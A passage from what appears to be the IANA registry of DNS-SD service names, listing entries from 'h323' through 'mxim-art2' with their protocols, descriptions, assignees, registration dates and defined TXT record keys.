                                                                                                                                                                                                                                                                                  instance is therefore being advertised two ways, for example:
                                                                                                                                                                                                                                                                                  <User-Friendly-Name>._ptp._tcp.local <GUID>._guid._tcp.local
                                                                                                                                                                                                                                                                                  On subsequent accesses to the service, the GUID-based name is
                                                                                                                                                                                                                                                                                  resolved, and that particular service instance is discovered,
                                                                                                                                                                                                                                                                                  even if the user has subsequently changed the user-friendly
                                                                                                                                                                                                                                                                                  name to something else. Note: Although each different logical
                                                                                                                                                                                                                                                                                  service type needs to have its own different DNS-SD service
                                                                                                                                                                                                                                                                                  type, all GUID-based names use the same pseudo-type:
                                                                                                                                                                                                                                                                                  "_guid._tcp". There is no possibility of name conflict
                                                                                                                                                                                                                                                                                  because (by definition) GUIDs are globally unique.
                                      H.323 Real-time audio, video
h323                                  and data communication call  [Will_MacDonald]                                      [Will_MacDonald]                                                                                                                                         Defined TXT keys: None
                                      setup protocol
hbbtv-ait                      tcp    HbbTV Application            [HbbTV_Association]                                   [Paul_Higgs]                                              2015-09-09                                                                                     Defined TXT keys: None
                                      Information Table
help                                  HELP command                                                                                                                                                           [RFC1078]                                                            TCP Port Service Multiplexer (TCPMUX)
hg                                    Mercurial web-based                                                                                                                                                                                                                         Defined TXT keys: None path=<file system pathname to
                                      repository access                                                                                                                                                                                                                           repository> description=<descriptive name of repository>
hinz                                  HINZMobil Synchronization    [Jorg_Laschke]                                        [Jorg_Laschke]                                                                                                                                           Defined TXT keys: None
                                      protocol
hmcp                                  Home Media Control Protocol  [Will_Lahr]                                           [Will_Lahr]                                                                                                                                              Defined TXT keys: None
hola                           tcp    An application to            [Navneet_Gupta]                                       [Navneet_Gupta]                                           2017-09-05                                                                                     Defined TXT keys: None
                                      communicate with other
home-sharing                          iTunes Home Sharing          [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers, hQ, iTSh Version, MID, Database
                                                                                                                                                                                                                                                                                  ID, dmb, Version, OSsi, hG, hC, Machine ID
homeauto                              iDo Technology Home          [Tony_de_Rijk]                                        [Tony_de_Rijk]                                                                                                                                           Defined TXT keys: None
                                      Automation Protocol
homeconnect                    tcp    Home Connect Protocol        [BSH_Bosch_und_Siemens_Hausgeraete_GmbH]              [Jens_Clauss]                                             2013-06-11                                                                                     Defined TXT keys: txtvers + Proprietary
honeywell-vid                  udp    Honeywell Video Systems      [Shankar_Prasad]                                      [Shankar_Prasad]                                                                                                                                         Defined TXT keys: None
hotwayd                               Hotwayd                                                                                                                                                                                                                                     Defined TXT keys: None
howdy                                 Howdy messaging and          [Ozate_Inc]                                           [Joseph_Sickel]                                                        2011-10-12                                                                        Defined TXT keys: vers
                                      notification protocol
                                      The service provides
hpdeviceinfo                   tcp    information about connected  [HP_Inc]                                              [Sanjay_Kumar]                                            2016-08-26                                                                                     Defined TXT keys: vers=<version>
                                      HP devices
hpr-bldlnx                            HP Remote Build System for   [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
                                      Linux-based Systems
hpr-bldwin                            HP Remote Build System for   [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: xp, vista
                                      Microsoft Windows Systems
                                      Identifies systems that
hpr-db                                house databases for the      [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: bld, tst, mstr
                                      Remote Build System and
                                      Remote Test System
hpr-rep                               HP Remote Repository for     [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: bld, tst, official
                                      Build and Test Results
                                      HP Remote System that houses
hpr-toollnx                           compilers and tools for      [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
                                      Linux-based Systems
                                      HP Remote System that houses
hpr-toolwin                           compilers and tools for      [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: xp, vista
                                      Microsoft Windows Systems
hpr-tstlnx                            HP Remote Test System for    [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
                                      Linux-based Systems
hpr-tstwin                            HP Remote Test System for    [Jeffrey_J_Walls]                                     [Jeffrey_J_Walls]                                                                                                                                        Defined TXT keys: xp, vista
                                      Microsoft Windows Systems
hs-off                                Hobbyist Software Off        [Rob_Jonson]                                          [Rob_Jonson]                                                                                                                                             Defined TXT keys: None
                                      Discovery
htsp                                  Home Tv Streaming Protocol   [Andreas_Oman]                                        [Andreas_Oman]                                                                                                                                           Defined TXT keys: None
                                                                                                                                                                                                                                                                                  Web browsers like Safari and Internet Explorer (with the
                                                                                                                                                                                                                                                                                  Bonjour for Windows plugin) DO NOT browse for DNS-SD service
                                                                                                                                                                                                                                                                                  type "_https._tcp" in addition to browsing for "_http._tcp".
                                                                                                                                                                                                                                                                                  This is a conscious decision to reduce proliferation of
                                                                                                                                                                                                                                                                                  service types, to help keep DNS-SD efficient on the network.
                                                                                                                                                                                                                                                                                  Today, if a user types http://www.mybank.com/ into their web
                                                                                                                                                                                                                                                                                  browser, the web server automatically redirects the user to
                                                                                                                                                                                                                                                                                  https://www.mybank.com/. Rather than having an entirely
                                                                                                                                                                                                                                                                                  different DNS-SD service type for https, we recommend using
https                          tcp    HTTP over SSL/TLS            [Tim_Berners_Lee]                                     [Tim_Berners_Lee]                                                                                                                                        the same redirection mechanism: advertise a plain "http"
                                                                                                                                                                                                                                                                                  service, which consists of nothing except an HTTP redirection
                                                                                                                                                                                                                                                                                  to the desired "https" URL. Work is currently being done on
                                                                                                                                                                                                                                                                                  adding mechanisms to HTTP and TLS to allow the server to tell
                                                                                                                                                                                                                                                                                  the client that it needs to activate TLS on the current
                                                                                                                                                                                                                                                                                  connection before proceeding. If this becomes widely adopted,
                                                                                                                                                                                                                                                                                  it further justifies the decision to not create a separate
                                                                                                                                                                                                                                                                                  DNS-SD service type "_https._tcp", because security becomes
                                                                                                                                                                                                                                                                                  just another one of the things that is negotiated on a
                                                                                                                                                                                                                                                                                  per-connection basis (like content-type negotiation today)
                                                                                                                                                                                                                                                                                  rather than being an entirely separate thing.
htvncconf                      udp    HomeTouch Vnc Configuration  [Yuval_Rakavy]                                        [Yuval_Rakavy]                                            2012-07-10                                                                                     Defined TXT keys: None
hue                            tcp    Philips hue protocol         [Philips_Lighting]                                    [Walter_Slegers]                                          2017-11-01                                                                                     Defined TXT keys: bridgeid, modelid
hyperstream                           Atempo HyperStream           [Laurent_Charmet]                                     [Laurent_Charmet]                                                                                                                                        Defined TXT keys: version=x.y.z.w uuid=<36 bytes UUID string>
                                      deduplication server                                                                                                                                                                                                                        host=<real host name>
iad1                                  BBN IAD                                                                                                                                                   2013-05-24                                                                        This service name is no longer in use.
iad2                                  BBN IAD                                                                                                                                                   2013-05-24                                                                        This service name is no longer in use.
iad3                                  BBN IAD                                                                                                                                                   2013-05-24                                                                        This service name is no longer in use.
iaudit                         tcp    Braemar Inventory audit      [Braemar_Consulting]                                  [Richard_Thompson]                                        2014-03-05                                                                                     Defined TXT keys: None
ibiz                                  iBiz Server                  [IGG_Software]                                        [IGG_Software]                                                                                                                                           Defined TXT keys: None
ica-networking                        Image Capture Networking     [Baskaran_Subramaniam]                                [Baskaran_Subramaniam]                                                                                                                                   Defined TXT keys: None
ican                                  Northrup Grumman/TASC/ICAN   [Laurent_Mihalkovic]                                  [Laurent_Mihalkovic]                                                                                                                                     Defined TXT keys: None
                                      Protocol
ichalkboard                           iChalk                       [Math_Game_House_Soft]                                [Math_Game_House_Soft]                                                                                                                                   Defined TXT keys: None
ichat                                 iChat 1.0                    [Jens_Alfke]                                          [Jens_Alfke]                                                                                                                                             Defined TXT keys: Proprietary
iconquer                              iConquer                     [Andrew_Zamler_Carhar]                                [Andrew_Zamler_Carhar]                                                                                                                                   Defined TXT keys: None
                                      A Remote Control Application
icontrolbox                    tcp    service used to control      [Umair_Cheema]                                        [Umair_Cheema]                                            2013-07-08                                                                                     Defined TXT keys: None
                                      Computers on a Local Area
                                      Network
idata                                 Generic Data Acquisition and [Carson_Fenimore]                                     [Carson_Fenimore]                                                                                                                                        Defined TXT keys: None
                                      Control Protocol
idcws                                 Intermec Device              [Thaddeus_Ternes]                                     [Thaddeus_Ternes]                                                                                                                                        Defined TXT keys: version=<x.xx>
                                      Configuration Web Services
ideaquest                      tcp    IDEAQUEST Safety Monitoring  [IDEAQUEST_Inc.]                                      [Kimitaka_KAWAGUCHI]                                      2016-12-12                                                                                     Defined TXT keys: none
                                      System
idsync                                SplashID Synchronization     [Justin_Cepelak]                                      [Justin_Cepelak]                                                                                                                                         Defined TXT keys: Proprietary
                                      Service
                                      iFFL Bonjour service for
iffl                                  communication between client [Kevin_Gregory]                                       [Kevin_Gregory]                                           2016-03-20                                                                                     Defined TXT keys: None
                                      and server applications.
ifolder                               Published iFolder            [Brady_Anderson]                                      [Brady_Anderson]                                                                                                                                         Defined TXT keys: version=?
ihouse                                Idle Hands iHouse Protocol   [Toby_Smith]                                          [Toby_Smith]                                                                                                                                             Defined TXT keys: None
ii-drills                             Instant Interactive Drills   [Ricky_Sharp]                                         [Ricky_Sharp]                                                                                                                                            Defined TXT keys: None
ii-konane                             Instant Interactive Konane   [Ricky_Sharp]                                         [Ricky_Sharp]                                                                                                                                            Defined TXT keys: None
ilynx                                 iLynX                        [iOS_Software]                                        [iOS_Software]                                                                                                                                           Defined TXT keys: None
im                             tcp    Instant Messaging                                                                                                                                                      [RFC3861]
im                             udp    Instant Messaging                                                                                                                                                      [RFC3861]
imagescal                      tcp    ImagesCal App Data Sharing   [Three_Lights_Software_LLC]                           [Gus_Asadi]                                               2014-07-22                                                                                     Defined TXT keys: None
imidi                                 iMidi                        [Robert_Grant]                                        [Robert_Grant]                                                                                                                                           Defined TXT keys: None
imgsync                        tcp    Protocol synchronizing Image [Canon_Inc_2]                                         [Kazuo_Moritomo]                                          2013-03-28                                                                                     Defined TXT keys: srvver, mf, md, mn, tid, srv, sid, myhwa,
                                      data                                                                                                                                                                                                                                        imglist, devAid, serAid, vever
ims-ni                         tcp    Noise Inspector              [IMS_merilni_sistemi]                                 [Metod_Celestina]                                         2012-08-24                                                                                     Defined TXT keys: SN (serial number), SVER (software
                                                                                                                                                                                                                                                                                  version), HVER (hardware version), PVER (protocol version))
indigo-dvr                            Indigo Security Digital      [Haram_Lee]                                           [Haram_Lee]                                                                                                                                              Defined TXT keys: Proprietary
                                      Video Recorders
infboard                       tcp    InfBoard interactive         [Eric_Sean_Conner]                                    [Eric_Sean_Conner]                                        2011-10-17                                                                                     Defined TXT keys: Proprietary
                                      whiteboard protocol
innergroup                     tcp    Service for a Communications [Santo_Porpiglia]                                     [Santo_Porpiglia]                                         2015-05-28                                                                                     Defined TXT keys: None
                                      App
inova-ontrack                         Inova Solutions OnTrack                                                                                                                                                                                                                     Defined TXT keys: None
                                      Display Protocol
                                      Internet-of-things (IoT)                                                                                                                                                                                                                    Defined TXT keys: <type>:application specific kind of
iot                            tcp    JSON telegram service        [SEVENSTAX_GmbH]                                      [Ralf_Schwarzer]                                          2015-11-05                                                                                     protocol; <vers>:version of the 'type'; <device>:device
                                                                                                                                                                                                                                                                                  descriptor
iota                           tcp    iotaMed medical records      [MITM]                                                [Martin_Wehlou]                                           2011-10-18                                                                                     Defined TXT keys: none
                                      server
ipbroadcaster                         IP Broadcaster               [base_t_Interactive]                                  [base_t_Interactive]                                                                                                                                     Defined TXT keys: None
ipspeaker                             IP Speaker Control Protocol  [Dan_Mahn]                                            [Dan_Mahn]                                                                                                                                               Defined TXT keys: None
iqp                            tcp    Control protocol for Phase   [Phase_One]                                           [Christopher_Jacobsen]                                    2018-01-16                                                                                     Defined TXT keys: txtvers,mk,md,us,un,ss,auth
                                      One devices
ir-hvac-000                    tcp    HVAC SMIL Server             [Ingersoll_Rand_Inc]                                  [John_Taylor]                                             2011-09-28                                                                                     Defined TXT keys: None
irelay                                iRelay application discovery [Marc_Diamante]                                       [Marc_Diamante]                                                                                                                                          Defined TXT keys: Proprietary
                                      service
irmc                                  Intego Remote Management     [Olivier_Delecluse]                                   [Olivier_Delecluse]                                                                                                                                      Defined TXT keys: RMC Client Version=<version>, MAC
                                      Console                                                                                                                                                                                                                                     Address=<address>
irobotmcs                      tcp    iRobot Monitor and Control   [iRobot_Corporation]                                  [Tim_Farlow]                                              2013-11-07                                                                                     Defined TXT keys: None
                                      Service
irobotmcs                      udp    iRobot Monitor and Control   [iRobot_Corporation]                                  [Tim_Farlow]                                              2013-11-07                                                                                     Defined TXT keys: None
                                      Service
iroid-sd                       tcp    Iroid Data Service Discovery [iroïd]                                               [Tom_Wagner]                                              2016-04-22                                                                                     Defined TXT keys: none
irradiatd-iclip                tcp    iClip clipboard transfer     [Irradiated_Software]                                 [Thomas_Tempelmann]                                       2012-06-19                                                                                     Defined TXT keys: none
irt-sharing                    tcp    Image Resizer Toolbox        [fnxsoftware.com]                                     [Juan_Guerrero]                                           2015-06-30                                                                                     Defined TXT keys: irtshrng
                                      preview sharing service
isparx                                iSparx                       [Philipp_Dreiss]                                      [Philipp_Dreiss]                                                                                                                                         Defined TXT keys: None
ispq-vc                               iSpQ VideoChat               [Chris_Silverberg]                                    [Chris_Silverberg]                                                                                                                                       Defined TXT keys: None
ishare                                iShare                       [Steve_Dekorte]                                       [Steve_Dekorte]                                                                                                                                          Defined TXT keys: None
isticky                               iSticky                      [Insist]                                              [Insist]                                                                                                                                                 Defined TXT keys: None
istorm                                iStorm                       [Math_Game_House_Soft]                                [Math_Game_House_Soft]                                                                                                                                   Defined TXT keys: None
isynchronize                   tcp    iSynchronize data            [Smart_Apps_LTD]                                      [Sergey_Bolshedvorsky]                                    2011-10-11                                                                                     Defined TXT keys: none
                                      synchronization protocol
itap-publish                   tcp    iTap Publishing Service      [HLW_Software_Development_GmbH]                       [Michael_Lacher]                                          2011-10-11                                                                                     Defined TXT keys: uuid=<unique server key>
                                      IT-IS International Ltd.                                                                                                                                                                                                                    Defined TXT keys: type=<product type> configuration=<product
itis-device                           Device                       [Ben_Webster]                                         [Ben_Webster]                                                                                                                                            configuration> description=<human readable description>
                                                                                                                                                                                                                                                                                  version=<device and protocol version>
itsrc                                 iTunes Socket Remote Control [Kevin_Leacock]                                       [Kevin_Leacock]                                                                                                                                          Defined TXT keys: None
ivef                                  Inter VTS Exchange Format    [Harry_ten_Berge]                                     [Harry_ten_Berge]                                                                                                                                        Defined TXT keys: None
iwork                                 iWork Server                 [IGG_Software]                                        [IGG_Software]                                                                                                                                           Defined TXT keys: None
jcan                                  Northrup Grumman/TASC/JCAN   [Laurent_Mihalkovic]                                  [Laurent_Mihalkovic]                                                                                                                                     Defined TXT keys: None
                                      Protocol
jeditx                                Jedit X                      [Satoshi_Matsumoto]                                   [Satoshi_Matsumoto]                                                                                                                                      Defined TXT keys: None
jini                                  Jini Service Discovery       [Daniel_Steinberg]                                    [Daniel_Steinberg]                                                                                                                                       Defined TXT keys: None
jmap                           tcp    JSON Mail Access Protocol    [JMAP_editor]                                         [Robert_Norris]                                           2016-01-22                                                                                     Defined TXT keys: None
                                                                                                                                                                                                                                                                                  Defined TXT keys: hash=<40hex characters> salt=<40hex
                                      jollys keychain cloud sync                                                                                                                                                                                                                  characters> uuid=<40hex characters> Example:
jnx-kcsync                     tcp    protocol                     [Patrick_Stein]                                       [Patrick_Stein]                                           2011-10-24                                                                                     hash=5e7580598c0d7064d4fc79faaeb42585e1a675f8
                                                                                                                                                                                                                                                                                  salt=f0164cb3a0c3d7efe75abea8fda86d2d56c8dda9
                                                                                                                                                                                                                                                                                  uuid=db61dc092922252e45bbb264f59147138c7fd5fa
jtag                                  Proprietary                  [Uwe_Ziegler]                                         [Uwe_Ziegler]                                                                                                                                            Defined TXT keys: blocked=<name of the device>,
                                                                                                                                                                                                                                                                                  version=<firmware/instrument controller version>
jukebox                        tcp    Jukebox Request Service      [Gary_Giebler_2]                                      [Gary_Giebler_2]                                          2011-10-18                                                                                     Defined TXT keys: None
jukejoint                      tcp    Music sharing protocol       [Phrenetic_Apps_LLC]                                  [Christopher_Pow]                                         2016-04-12                                                                                     Defined TXT keys: none
                                      KeynoteAccess is used for
                                      sending remote
keynoteaccess                  tcp    requests/responses when      [Apple]                                               [Brad_Vaughan]                                            2011-10-12                                                                                     Defined TXT keys: None
                                      controlling a slideshow with
                                      Keynote Remote
                                      KeynotePairing is used to
keynotepairing                 tcp    pair Keynote Remote with     [Apple]                                               [Brad_Vaughan]                                            2011-10-12                                                                                     Defined TXT keys: None
                                      Keynote
kiwin                          tcp    Topology Discovery           [Stephen_kiwin_PALM]                                  [Stephen_kiwin_PALM]                                      2015-06-30                                                                                     Defined TXT keys: kiwin, top
ktp                                   Kabira Transaction Platform  [Ramiro_Sarmiento]                                    [Ramiro_Sarmiento]                                                                                                                                       Defined TXT keys: None
kyma                           tcp    Symbolic Sound Kyma Service  [Symbolic_Sound_Corporation]                          [Kurt_Hebel]                                              2018-11-28                                                                                     Defined TXT keys: None
                                      Discovery
la-maint                              IMP Logical Address                                                                                                                                       2013-05-24                                                                        This service name is no longer in use.
                                      Maintenance
labyrinth                      udp    Labyrinth local multiplayer  [Andreas_Alptun]                                      [Andreas_Alptun]                                                                                                                                         Defined TXT keys: None
                                      protocol
lan2p                                 Lan2P Peer-to-Peer Network   [Ben_Guild]                                           [Ben_Guild]                                                                                                                                              Defined TXT keys: None
                                      Protocol
lapse                                 Gawker                       [Phil_Piwonka]                                        [Phil_Piwonka]                                                                                                                                           Defined TXT keys: None
leaf                                  Lua Embedded Application     [Ico_Doornekamp]                                      [Ico_Doornekamp]                                                                                                                                         Defined TXT keys: name=<readable name> product=<product
                                      Framework                                                                                                                                                                                                                                   name/model> version=<version number>
lexicon                               Lexicon Vocabulary Sharing   [Jacob_Godwin_Jones]                                  [Jacob_Godwin_Jones]                                                                                                                                     Defined TXT keys: None
liaison                               Liaison                      [Brian_Cully]                                         [Brian_Cully]                                                                                                                                            Defined TXT keys: None
                                      Delicious Library 2
library                               Collection Data Sharing      [William_Shipley]                                     [William_Shipley]                                                                                                                                        Defined TXT keys: None
                                      Protocol
                                      Protocol for setup and
libratone                             control of Libratone         [Libratone_AS]                                        [Claus_Jensen]                                            2011-10-27                                                                                     Defined TXT keys: None
                                      products
licor                                 LI-COR Biosciences           [Software_LI-COR_Biosciences]                         [Kevin_Ediger]                                            2011-10-18                                                                                     Defined TXT keys: None
                                      instrument discovery
llrp-secure                           RFID reader Low Level Reader [Jason_Schoon_2]                                      [Jason_Schoon_2]                                                                                                                                         Defined TXT keys: None
                                      Protocol over SSL/TLS
lobby                                 Gobby                        [Gobby_0x539]                                         [Gobby_0x539]                                                                                                                                            Defined TXT keys: None
logicnode                      udp    Logic Pro Distributed Audio  [Nikolaus_Gerteis]                                    [Nikolaus_Gerteis]                                                                                                                                       Defined TXT keys: None
lonbridge                             Echelon LonBridge Server     [Rich_Blomseth]                                       [Rich_Blomseth]                                                                                                                                          Defined TXT keys: None
lontalk                               LonTalk over IP (ANSI 852)   [Michael_Tennefoss]                                   [Michael_Tennefoss]                                                                                                                                      Defined TXT keys: None
lonworks                              Echelon LNS Remote Client    [Michael_Tennefoss]                                   [Michael_Tennefoss]                                                                                                                                      Defined TXT keys: None
lsys-appserver                        Linksys One Application      [Frank_Zerangue]                                      [Frank_Zerangue]                                                                                                                                         Defined TXT keys: path=value (relative URL) engname=value
                                      Server API                                                                                                                                                                                                                                  (string)
lsys-camera                           Linksys One Camera API       [Frank_Zerangue]                                      [Frank_Zerangue]                                                                                                                                         Defined TXT keys: brand=value (string) model=value (string)
                                                                                                                                                                                                                                                                                  version=value (string)
                                                                                                                                                                                                                                                                                  Defined TXT keys: model=value (string) serial=value (sring)
lsys-ezcfg                            LinkSys EZ Configuration     [Frank_Zerangue]                                      [Frank_Zerangue]                                                                                                                                         hwversion=value (string) swversion=value (string)
                                                                                                                                                                                                                                                                                  ifversion=value (string) type=value (string) mac=value (12
                                                                                                                                                                                                                                                                                  hex digits)
                                      LinkSys Operations,                                                                                                                                                                                                                         Defined TXT keys: model=value (string) serial=value (sring)
lsys-oamp                             Administration, Management,  [Frank_Zerangue]                                      [Frank_Zerangue]                                                                                                                                         hwversion=value (string) swversion=value (string)
                                      and Provisioning                                                                                                                                                                                                                            ifversion=value (string) type=value (string) mac=value (12
                                                                                                                                                                                                                                                                                  hex digits)
                                      A protocol to remotely
lumiere                        tcp    control DMX512 devices over  [Gangsta_Ltd]                                         [Jean-Charles_Boude]                                      2011-10-13                                                                                     Defined TXT keys: None
                                      the network
lumis-lca                      tcp    Lumis Cache Appliance        [Lumis]                                               [Rodrigo_Terra]                                           2011-10-24                                                                                     Defined TXT keys: none
                                      Protocol
lux-dtp                               Lux Solis Data Transport     [Laurence_Flath]                                      [Laurence_Flath]                                                                                                                                         Defined TXT keys: None
                                      Protocol
lxi                                   LXI                          [Nick_Barendt_2]                                      [Nick_Barendt_2]                                                                                                                                         Defined TXT keys: txtvers, *IDN?=<response defined by IEEE
                                                                                                                                                                                                                                                                                  488; e.g., manufacturer, model, serial number, version>
lyrics                                iPod Lyrics Service          [Gary_Giebler]                                        [Gary_Giebler]                                                                                                                                           Defined TXT keys: Proprietary
M30S1PT                        tcp    Moritz30-Project Standard    [Moritz30]                                            [Matthias_Merkel]                                         2015-12-07                                                                                     Defined TXT keys: None
                                      protocol 1 Plain Text
M30S1PT                        udp    Moritz30-Project Standard    [Moritz30]                                            [Matthias_Merkel]                                         2015-12-07                                                                                     Defined TXT keys: None
                                      protocol 1 Plain Text
macfoh                                MacFOH                       [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-admin                          MacFOH admin services        [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-audio                   udp    MacFOH audio stream          [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-events                  udp    MacFOH show control events   [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-data                    udp    MacFOH realtime data         [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-db                             MacFOH database              [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macfoh-remote                         MacFOH Remote                [Shaun_Wexler]                                        [Shaun_Wexler]                                                                                                                                           Defined TXT keys: None
macminder                             Mac Minder                   [Luma_Code]                                           [Luma_Code]                                                                                                                                              Defined TXT keys: None
maestro                               Maestro Music Sharing        [Luke_Steffen]                                        [Luke_Steffen]                                                                                                                                           Defined TXT keys: None
                                      Service
magicdice                             Magic Dice Game Protocol     [Mike_Yenco]                                          [Mike_Yenco]                                                                                                                                             Defined TXT keys: None
mandos                                Mandos Password Server       [Mandos_Maintainers]                                  [Mandos_Maintainers]                                                                                                                                     Defined TXT keys: None
mas                            tcp    Pravala Mobility and         [Pravala_Networks_ULC]                                [Severn_Tsui]                                             2016-06-01                                                                                     Defined TXT keys: None
                                      Aggregation Service
mas                            udp    Pravala Mobility and         [Pravala_Networks_ULC]                                [Severn_Tsui]                                             2016-06-01                                                                                     Defined TXT keys: None
                                      Aggregation Service
matrix                                MATRIX Remote AV Switching   [Ken_Jibiki]                                          [Ken_Jibiki]                                                                                                                                             Defined TXT keys: None
mavlink                        tcp    MAVLink Micro Air Vehicle    [Roderick_Mann]                                       [Roderick_Mann]                                           2011-10-20                                                                                     Defined TXT keys: 0
                                      Communication Protocol
                                      Peer to peer communication                                                                                                                                                                                                                  Defined TXT keys: 1 TXT record key for the RSA public key
mazepseudo-game                udp    between instances of the     [Mad_Elf_Software_Inc.]                               [Kenneth_Suda]                                            2016-02-02   2016-03-30                                                                        used by the server instance.
                                      Maze Pseudo game.
mbconsumer                            MediaBroker++ Consumer       [Nate_Rivard]                                         [Nate_Rivard]                                                                                                                                            Defined TXT keys: None
mbproducer                            MediaBroker++ Producer       [Nate_Rivard]                                         [Nate_Rivard]                                                                                                                                            Defined TXT keys: None
mbserver                              MediaBroker++ Server         [Nate_Rivard]                                         [Nate_Rivard]                                                                                                                                            Defined TXT keys: None
mconnect                              ClairMail Connect            [Sachin_Desai]                                        [Sachin_Desai]                                                                                                                                           Defined TXT keys: None
mcrcp                                 MediaCentral                 [equinux]                                             [equinux]                                                                                                                                                Defined TXT keys: None
                                      MediaBoardONE Asset and
mediaboard1                           Information Manager data     [Thomas_K_Fischer]                                    [Thomas_K_Fischer]                                                                                                                                       Defined TXT keys: None
                                      sharing and synchronization
                                      protocol
mediatap                       tcp    Mediatap streaming protocol  [Mediatap_GbR]                                        [Mario_Pörner]                                            2011-10-11                                                                                     Defined TXT keys: Proprietary
mercurydock                    tcp    Mercury Dock Assistant       [Spider_Electronics]                                  [Kenny_Millar]                                            2014-03-10                                                                                     Defined TXT keys: status, signature, ver
mesamis                               Mes Amis                     [David_Priest]                                        [David_Priest]                                                                                                                                           Defined TXT keys: None
mi-raysat                             Mental Ray for Maya          [Autodesk]                                            [Autodesk]                                                                                                                                               Defined TXT keys: None
mieleacs                       tcp    Protocol for connected       [Miele_and_Cie._KG]                                   [Nils_Langhammer]                                         2018-04-20                                                                                     Defined TXT keys: txtvers and proprietary keys
                                      accessories
mieleathome                    tcp    Miele@home Protocol          [Miele_and_Cie._KG]                                   [Nils_Langhammer]                                         2014-03-13                                                                                     Defined TXT keys: txtvers and proprietary keys
mieleprof                      tcp    Miele protocol for prof.     [Miele_and_Cie._KG]                                   [Nils_Langhammer]                                         2018-04-20                                                                                     Defined TXT keys: txtvers and proprietary keys
                                      appliances
mielesemiprof                  tcp    Miele protocol for semi      [Miele_and_Cie._KG]                                   [Nils_Langhammer]                                         2018-04-20                                                                                     Defined TXT keys: txtvers and proprietary keys
                                      prof. appliances
                                      A Medical Interoperability
                                      Service Type, used to                                                                                                                                                                                                                       Defined TXT keys:
mist                           tcp    identify medical devices     [Jon_Griffeth]                                        [Jon_Griffeth]                                            2017-01-12                                                                                     https://www.praesentia.com/medkit/mist-service-type (dn dt md
                                      providing network                                                                                                                                                                                                                           mf pr sn vn)
                                      interfaces.
                                      Provides a client with
mmm                            tcp    access to the Mathematical   [Phillip_Hallam-Baker]                                [Phillip_Hallam-Baker]                                    2015-11-18                                                                                     Defined TXT keys: None
                                      Mesh, a user-focused PKI.
                                      A Remote Control Application
mn-passage                     tcp    service used to control      [Midnight_Oil_Enterprises_LLC]                        [Dan_Corkill]                                             2013-07-09                                                                                     Defined TXT keys: inherited from bonjour/iOS multipeer
                                      Computers on a Local Area                                                                                                                                                                                                                   connectivity
                                      Network
                                      A Remote Control Application
mn-passage                     udp    service used to control      [Midnight_Oil_Enterprises_LLC]                        [Dan_Corkill]                                             2013-07-09                                                                                     Defined TXT keys: inherited from bonjour/iOS multipeer
                                      Computers on a Local Area                                                                                                                                                                                                                   connectivity
                                      Network
modolansrv                            modo LAN Services            [Matt_Craig]                                          [Matt_Craig]                                                                                                                                             Defined TXT keys: None
                                      Authentication service for
mogeneti-auth                  tcp    Mogeneti Software            [Mogeneti]                                            [Bart_Rijpers]                                            2012-09-26                                                                                     Defined TXT keys: none
                                      Applications
moncon                         udp    Sonnox MCON monitor          [Sonnox_Ltd]                                          [Nicolas_Haynes]                                          2018-08-15                                                                                     Defined TXT keys: None
                                      controller protocol
moneysync                             SplashMoney Synchronization  [Justin_Cepelak]                                      [Justin_Cepelak]                                                                                                                                         Defined TXT keys: Proprietary
                                      Service
                                      MoneyWorks Gold and
moneyworks                            MoneyWorks Datacentre        [Rowan_Daniell]                                       [Rowan_Daniell]                                                                                                                                          Defined TXT keys: None
                                      network service
moodring                              Bonjour Mood Ring tutorial   [Daniel_Steinberg]                                    [Daniel_Steinberg]                                                                                                                                       Defined TXT keys: txtvers=1 mood=<ascii digit from 0-4>
                                      program
mother                                Mother script server         [Jonathan]                                            [Jonathan]                                                                                                                                               Defined TXT keys: user, ssl
                                      protocol
movieslate                            MovieSlate digital           [Cliff_Joyce]                                         [Cliff_Joyce]                                                                                                                                            Defined TXT keys: Proprietary
                                      clapperboard
mp3sushi                              MP3 Sushi                    [Alexandre_Carlhian]                                  [Alexandre_Carlhian]                                                                                                                                     Defined TXT keys: None
mqtt                                  IBM MQ Telemetry Transport   [AndySC]                                              [AndySC]                                                                                                                                                 Defined TXT keys: topics=<open topic to subscribe to for
                                      Broker                                                                                                                                                                                                                                      information>, eg topic=/info
mslingshot                            Martian SlingShot            [Martin_Technology]                                   [Martin_Technology]                                                                                                                                      Defined TXT keys: displayName, passwordRequired,
                                                                                                                                                                                                                                                                                  acceptsUpdates
msrps                          tcp    MSRP protocol over TLS                                                                                                                                    2014-04-25   [RFC4976]                                                            Defined TXT keys:
mumble                                Mumble VoIP communication    [Thorvald_Natvig]                                     [Thorvald_Natvig]                                                                                                                                        Defined TXT keys: None
                                      protocol
musicmachine                          Protocol for a distributed   [Johan_Mjones]                                        [Johan_Mjones]                                                                                                                                           Defined TXT keys: apiversion, passreq
                                      music playing service
mysync                                MySync Protocol              [Martin_Redington]                                    [Martin_Redington]                                                                                                                                       Defined TXT keys: None
mttp                                  MenuTunes Sharing            [iThink_Software]                                     [iThink_Software]                                                                                                                                        Defined TXT keys: None
mxim-art2                             Maxim Integrated Products    [Zach_Metzinger]                                      [Zach_Metzinger]                                                                                                                                         Defined TXT keys: Proprietary
                                      Automated Roadtest Mk II
